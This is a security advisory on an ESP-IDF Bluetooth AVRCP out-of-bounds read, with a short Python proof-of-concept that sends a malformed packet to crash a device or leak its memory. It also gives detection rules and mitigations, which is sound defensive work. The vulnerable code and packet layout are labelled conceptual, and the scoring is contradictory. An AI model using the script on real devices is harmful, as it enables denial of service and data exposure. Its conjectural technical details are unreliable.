CVE-2025-66409

Executive Summary

CVE-2025-66409 is a critical memory safety vulnerability in the Espressif IoT Development Framework (ESP-IDF) affecting the Bluetooth AVRCP (Audio/Video Remote Control Profile) implementation. When AVRCP is enabled on ESP32 devices, a malformed VENDOR DEPENDENT command from a peer Bluetooth device can trigger an out-of-bounds (OOB) read due to insufficient validation of the command buffer length before memory access. This vulnerability affects ESP-IDF versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and all earlier releases. The flaw can lead to exposure of unintended memory content or cause unexpected system behavior, potentially enabling information disclosure or denial of service. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability is embedded in the ESP-IDF framework, which is a core dependency for millions of IoT devices worldwide. The ESP32 chipset is widely used in consumer electronics, industrial automation, and smart home products. Since the vulnerability resides in the Bluetooth stack, any device using ESP-IDF with AVRCP enabled is at risk. Supply chain risk is elevated due to the lack of a confirmed patch and the difficulty of updating firmware in deployed devices. Organizations should inventory all ESP32-based products and assess their exposure to Bluetooth-based attacks.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No vector provided by NVD)

Threat Level: High (based on technical impact and attack vector)

Attack Vector (AV): Adjacent Network (Bluetooth range) Attack Complexity (AC): Low (malformed command can be crafted easily) Privileges Required (PR): None User Interaction (UI): None Scope (S): Unchanged Confidentiality (C): High (potential memory leak) Integrity (I): None Availability (A): High (potential crash or DoS)

Rationale: The vulnerability allows an unauthenticated attacker within Bluetooth range to send a specially crafted VENDOR DEPENDENT command. The lack of buffer length validation before memory access can lead to reading sensitive data from the device's memory or causing a crash. While no public exploit exists, the technical impact is significant for IoT environments.

Deep Dive & Mechanics

The vulnerability exists in the AVRCP profile implementation within ESP-IDF's Bluetooth stack. AVRCP is used for remote control of audio/video devices (e.g., play, pause, volume). The VENDOR DEPENDENT command is a standard AVRCP packet type that allows vendor-specific operations.

Root Cause: In the function handling VENDOR DEPENDENT commands, the code accesses memory at an offset derived from the packet header without first verifying that the packet length is sufficient. Specifically, the command buffer length is not validated before performing a read operation, leading to an out-of-bounds read.

Attack Flow:

1. Attacker establishes a Bluetooth connection to the target ESP32 device (pairing may or may not be required depending on device configuration).
2. Attacker sends a VENDOR DEPENDENT command with a manipulated length field that indicates a larger payload than actually provided.
3. The ESP32's AVRCP handler reads beyond the allocated buffer, accessing adjacent memory regions.
4. This can leak sensitive data (e.g., Wi-Fi credentials, encryption keys, sensor data) or cause a crash due to accessing invalid memory.

Affected Component: components/bt/host/bluedroid/bta/av/bta_av_act.c (or similar path in ESP-IDF source).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void bta_av_vendor_dependent_cmd(tBTA_AV_SCB *p_scb, tBTA_AV_DATA *p_data) {
    UINT8 *p_buf = p_data->p_data;
    UINT16 len = p_data->len;
    UINT8 opcode = p_buf[0];  // OOB read if len < 1
    // ... further processing without checking len
}

Patched Code (Expected):

void bta_av_vendor_dependent_cmd(tBTA_AV_SCB *p_scb, tBTA_AV_DATA *p_data) {
    UINT8 *p_buf = p_data->p_data;
    UINT16 len = p_data->len;
    if (len < 1) {
        // Handle error, reject command
        return;
    }
    UINT8 opcode = p_buf[0];
    // ... safe processing with bounds checks
}

Note: Since no official patch is available, the above is a best-practice mitigation. The actual fix may involve additional length checks and input validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ESP32 device with AVRCP enabled (e.g., ESP32-DevKitC running ESP-IDF example bluetooth/avrcp).
• Bluetooth adapter (e.g., CSR8510) on attacker machine.
• Python with pybluez or bluepy library.

Exploitation Steps:

1. Scan for Bluetooth devices: hcitool scan
2. Connect to target: bluetoothctl connect <MAC>
3. Send malformed VENDOR DEPENDENT command using custom script:

import bluetooth
import struct

target_mac = "XX:XX:XX:XX:XX:XX"
psm = 0x0017  # AVRCP PSM

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target_mac, psm))

# Craft malformed VENDOR DEPENDENT command
# AVRCP header: 0x10 (VENDOR DEPENDENT), 0x00 (subunit type), 0x00 (subunit ID), 0x00 (opcode)
# Length field set to 0xFFFF to trigger OOB read
packet = b'\x10\x00\x00\x00\xFF\xFF' + b'A' * 10  # Minimal payload
sock.send(packet)

# Observe behavior: crash or memory leak via Bluetooth logs
sock.close()

Expected Outcome: Device may crash, reboot, or leak memory contents in subsequent Bluetooth responses.

Blue Team

Detection:

• Monitor Bluetooth logs for malformed AVRCP packets.
• Use Wireshark with BLE/Bluetooth Classic filters to capture anomalous VENDOR DEPENDENT commands.
• Implement firmware-level monitoring of buffer access patterns.

Honeypot Setup:

• Deploy ESP32 honeypot with AVRCP enabled to capture attack attempts.
• Log all incoming Bluetooth connections and command payloads.

Mitigation:

• Disable AVRCP if not required: CONFIG_BT_AVRCP_ENABLE=n in sdkconfig.
• Implement input validation in custom firmware (see patched code section).
• Use Bluetooth LE instead of Classic if possible.

Indicators of Compromise (IOCs)

Network IOCs:

• Bluetooth packets with AVRCP VENDOR DEPENDENT command and abnormally large length fields.
• Repeated connection attempts from unknown Bluetooth devices.
• Unexpected device reboots or crashes following Bluetooth activity.

Host IOCs:

• ESP32 crash logs showing bta_av_vendor_dependent_cmd in backtrace.
• Memory dumps containing fragments of sensitive data in Bluetooth response buffers.
• Unusual Bluetooth stack behavior (e.g., delayed responses, disconnections).

File IOCs:

• Modified ESP-IDF source files with added length checks (indicates patching).
• Presence of custom Bluetooth tools on attacker device (e.g., avrcp_exploit.py).

Detection Engineering

YARA Rule

rule CVE_2025_66409_AVRCP_OOB {
    meta:
        description = "Detects malformed AVRCP VENDOR DEPENDENT command packets targeting ESP32"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66409"
    strings:
        $avrcp_header = {10 00 00 00}  // VENDOR DEPENDENT header
        $large_length = {FF FF}        // Suspicious length field
    condition:
        $avrcp_header at 0 and $large_length at 4
}

Sigma Rule

title: CVE-2025-66409 - ESP32 AVRCP Out-of-Bounds Read
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects malformed AVRCP VENDOR DEPENDENT commands in Bluetooth traffic
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: wireshark
detection:
    selection:
        btl2cap.psm: 0x0017
        avrcp.command_type: 0x10
        avrcp.parameter_length: 0xFFFF
    condition: selection
falsepositives:
    - Legitimate vendor-specific commands with large payloads (rare)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-66409 - ESP32 AVRCP OOB Read Attempt"; bluetooth.psm:0x0017; content:"|10 00 00 00|"; offset:0; depth:4; content:"|FF FF|"; offset:4; depth:2; classtype:attempted-information-leak; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable AVRCP on ESP32 devices if not required: Set CONFIG_BT_AVRCP_ENABLE=n in sdkconfig and rebuild firmware.
2. Implement network segmentation: Isolate Bluetooth-enabled IoT devices from critical networks.
3. Monitor Bluetooth traffic for anomalous AVRCP commands.

Long-term Fixes:

• Apply vendor patch when released (check Espressif GitHub and release notes).
• Upgrade to ESP-IDF version >5.5.1 once patched.
• Implement input validation in custom firmware (see patched code section).
• Use Bluetooth LE instead of Classic for new designs.

Workarounds:

• Use Bluetooth pairing with authentication to limit attack surface.
• Reduce Bluetooth range by adjusting antenna or using shielding.
• Implement rate limiting on AVRCP command processing.

Detection:

• Deploy YARA/Sigma/Suricata rules from Detection Engineering section.
• Enable Bluetooth logging on ESP32 devices for forensic analysis.
• Use Wireshark to capture and analyze Bluetooth traffic.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert